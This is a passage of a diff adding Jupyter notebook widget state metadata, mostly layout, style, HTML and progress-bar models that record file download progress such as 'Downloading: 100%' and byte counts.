+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_28fbffc4967e4e61ae2ef4ab76fd025e",
+            "max": 231508,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_2509398a0f5d4c2ebea382066448d060",
+            "value": 231508
+          }
+        },
+        "d95b3a185d504570a755be15eef6d295": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "d9be4c89a55c4d36a0aac652f920656f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "da2ce014843a46dbb56a1040e880f52e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_1b46ba28728b45d89bc66640e5c12017",
+            "placeholder": "",
+            "style": "IPY_MODEL_64b5a6f8d2b64f6888f044af28fec482",
+            "value": "Downloading: 100%"
+          }
+        },
+        "db54eaec048a47ab954bd227c319de37": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "dbe0e5d8f20f4332af2c46f7cf44ddbc": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "dc14b30624c4403e98df85494d444eae": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "dc531a5f3f5e49fca52eb5b28bec090e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "dce0babcd94942739a3b5baa056729f3": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d0d36a8655054c7e915b92a1fbde521f",
+            "max": 122,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_dc14b30624c4403e98df85494d444eae",
+            "value": 122
+          }
+        },
+        "dd83a6c77fb4484584f01767d553499b": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "dda27d7452514c43b7a20b9736ad3e7d": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_72b85f88cb274e7b83b3bcf183d80997",
+            "placeholder": "",
+            "style": "IPY_MODEL_776a604ae27a4c6d8cf49e84aeefa2da",
+            "value": " 476/476 [00:00<00:00, 9.05kB/s]"
+          }
+        },
+        "ddf5e4947848483ab83d67c5a58d7750": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "de3627eaa528448893978592542733e5": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_dd83a6c77fb4484584f01767d553499b",
+            "max": 476,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_4e1b9b10cee9449b8dd199b05d77504e",
+            "value": 476
+          }
+        },
+        "dead2f9e19294a8a8e3148dc6c42c25b": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ded0d3c386494210a2a1cee8868ff28a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "df104bcc4e0e4310881a9b8108379d05": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "df24510d1a4a4be3a2969d5a1c30eb42": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "dfddae793d2d4be1aeabc47fd38675de": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "e031e1ff28e744ec9f9308adbdb7f549": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_714869341c534ce5be22daaff1cceeae",
+            "placeholder": "",
+            "style": "IPY_MODEL_3d72fd07e34240fc805e7ff8e7e8e7ed",
+            "value": " 1.12k/1.12k [00:00<00:00, 20.5kB/s]"
+          }
+        },
+        "e052caaf34424ae994cc821acd0a5e54": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e0544d90326b4f9fb27cfda1bbd58be2": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e13c5fa8791a473d9b3c428f552a65bf": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_f247203f38eb4ebd9c0de208ac50791f",
+            "placeholder": "",
+            "style": "IPY_MODEL_2270c02128654e608321f3dde4722a0c",
+            "value": "Downloading: 100%"
+          }
+        },
+        "e2f53481e5164639981f727a14437fae": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e45b3ed13185494d820e8c60cc31607e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e465db2ff0274910a6131beafdeb570b": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_0be32907fa5b490eb1d14bbb9e1455db",
+            "placeholder": "",
+            "style": "IPY_MODEL_23ab71d00c3d4ea599c200024aaa9ad0",
+            "value": " 1.74k/1.74k [00:00<00:00, 33.2kB/s]"
+          }
+        },
+        "e8f025177d2c4e4a97d982ae7c0d221c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "e93406e73e374ef1b2022154fd3fc42f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "e9b1f3ec1dd84866a3e8fa83795bb3f4": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_614e698caaed457e8461b0118f39eba9",
+            "placeholder": "",
+            "style": "IPY_MODEL_59cdd613ead44eb78079675ad1144685",
+            "value": " 1.12k/1.12k [00:00<00:00, 24.0kB/s]"
+          }
+        },
+        "e9e29e66f05443f89bf5e053920c0ee7": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_bf15388cd7ae4ce898262e3324ab4924",
+              "IPY_MODEL_02fab3bb88564ace8639ece0b2dd4612",
+              "IPY_MODEL_d1eec2c1f43d422e882408df6215e855"
+            ],
+            "layout": "IPY_MODEL_2676b805948648c5a422a66956a0f389"
+          }
+        },
+        "ea3f895078b44512a6984454b5b928fb": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ea91573ae56b4f42b2a1ab742808b774": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "eb51d3f98aeb41d98bf014b5ab36f439": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ebf0551cfd8b48058fc6f0d39e2838d1": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "ed2b0b656ce643f9abd29b4951b73a0e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
